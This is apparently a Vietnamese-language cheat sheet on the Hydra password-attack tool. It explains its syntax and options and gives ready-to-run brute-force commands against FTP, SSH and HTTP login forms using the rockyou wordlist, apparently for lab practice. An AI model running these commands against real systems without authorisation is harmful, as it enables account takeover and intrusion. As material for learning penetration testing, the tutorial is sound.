Introduction
Hydra là một tool dùng để thực hiện password attacking cho nhiều giao thức, chẳng hạn như FTP, POP3, IMAP, SMTP, SSH và các phương thức liên quan đến HTTP.
Syntax
Cú pháp tổng quát:
hydra [[[-l LOGIN|-L FILE] [-p PASS| -P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SOuvVd46] [service://server[:PORT][/OPT]]
Các option mà ta sử dụng sẽ tùy thuộc vào loại giao thức mà ta cần tấn công.
Options
Các option phổ biến:
-l username
: cung cấp tên đăng nhập.-P wordList.txt
: chỉ định danh sách mật khẩu để sử dụng.server service
: thiết lập địa chỉ máy chủ và dịch vụ để tấn công.
Một số option khác:
-s PORT
: xác định port không mặc định cho dịch vụ.-V
hoặc-vV
: dạng verbose, giúp hiện rõ username và password đang được thử.-t n
: tạo ran
luồng song song để chạy.-d
: chế độ debugging. Khi Hydra kết nối đến một closed port nào đó và quá timeout, chế độ này sẽ cho chúng ta biết.
FTP
Cú pháp:
hydra -l username -P wordlist.txt ftp://MACHINE_IP
Câu lệnh trên sẽ sử dụng username là username
và lặp qua các password trong wordlist wordlist.txt
để tấn công dịch vụ FTP ở MACHINE_IP
.
Ví dụ:
hydra -l mark -P /usr/share/wordlists/rockyou.txt ftp://MACHINE_IP
Cũng có thể chỉ định tên dịch vụ phía sau:
hydra -l mark -P /usr/share/wordlists/rockyou.txt MACHINE_IP ftp
SSH
Cú pháp:
hydra -l username -P wordlist.txt -t 4 MACHINE_IP ssh
Ví dụ:
hydra -l frank -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh
Post Web Form
Cú pháp:
sudo hydra -l username -P wordlist MACHINE_IP http-post-form "path:login_credentials:invalid_response"
Với:
path
là endpoint cần tấn công.login_credentials
là các tham số của username và password ở trong request. Ví dụ:username=^USER^&password=^PASS^
(^USER^
là placeholder của username và^PASS^
là placeholder của password từ wordlist).invalid_response
: cách để nhận biết response là không hợp lệ.
Ví dụ:
hydra -l username -P wordlist.txt MACHINE_IP http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V
Trong ví dụ trên:
path
là/
.client_credentials
làusername=^USER^&password=^PASS^
.invalid_response
làF=incorrect
. Giá trị này cho biết rằng nếu response trả về có chuỗi “incorrect” thì đó là một response không hợp lệ.